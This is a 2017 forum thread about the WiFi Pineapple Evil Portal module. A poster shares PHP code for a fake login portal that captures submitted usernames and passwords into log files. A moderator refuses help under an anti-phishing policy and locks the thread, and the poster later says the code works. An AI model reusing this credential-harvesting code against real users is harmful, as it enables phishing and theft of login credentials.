infiniteral Posted June 15, 2017 Share Posted June 15, 2017 Hi, i have gone through the tutorials for the evilportal module, and now wanted to create a portal on my own for my needs.... I followed the tutorial from frozenjava (which was posted in the forums quite some time ago...), but im having trouble "bending" the code for my needs (basiclly im trying to: get input from "user" and "pass" text field from index.php and print it to a file in /www )... code in index.php: <snip> code in capture.php: <?php $user = $_GET["user"]; $pass = $_GET["pass"]; $redir = $_GET["redir"]; $file = fopen("stored.txt", "a"); fwrite($file, $user . "\n"); fwrite($file, $pass . "\n"); fclose($file); echo '<script type="text/javascript">window.location = "' . $redir . '"</script>'; ?> I think im messing things up with the variables, but im very inexperienced thus i need some help... (oh btw: i didnt get that myportal.php replaced capture.php (i think) at first, so that i manually created my captured.php...) Thanks in advance ;) Quote Link to comment Share on other sites More sharing options...
infiniteral Posted June 15, 2017 Author Share Posted June 15, 2017 oh and i also tried using the "myportal.php", from the newer tutorial... code below... myportal.php <?php namespace evilportal; class MyPortal extends Portal { public function handleAuthorization() { file_put_contents('/root/emails.log',""{$this->request->user}\n",FILE_APPEND); file_put_contents('/root/passwords.log',""{$this->request->pass}\n",FILE_APPEND); // Call parent to handle basic authorization first parent::handleAuthorization(); // Check for other form data here } public function showSuccess() { // Calls default success message parent::showSuccess(); } public function showError() { // Calls default error message parent::showError(); } } index.php <mod snip> I think im doing something really stupid, but i dont know what... Quote Link to comment Share on other sites More sharing options...
Sebkinne Posted June 15, 2017 Share Posted June 15, 2017 Sorry - our policy is not to help or encourage the distribution of phishing pages, especially not if they are specific to social media or banking. You are welcome to ask questions regarding a captive portal, but I will lock this thread for now. 2 Quote Link to comment Share on other sites More sharing options...
Lord_KamOS Posted June 15, 2017 Share Posted June 15, 2017 2 hours ago, infiniteral said: file_put_contents('/root/emails.log',""{$this->request->user}\n",FILE_APPEND); Why the double quotes Quote Link to comment Share on other sites More sharing options...
OttoSchmit Posted June 16, 2017 Share Posted June 16, 2017 Oh i had some punctuation errors too.... Got it working. I did not (and do not) have any means to really use this.... That would not be a good idea. I wont bother these forums again with phishing attacks, sorry. Didnt want to mess with anybody. 1 Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.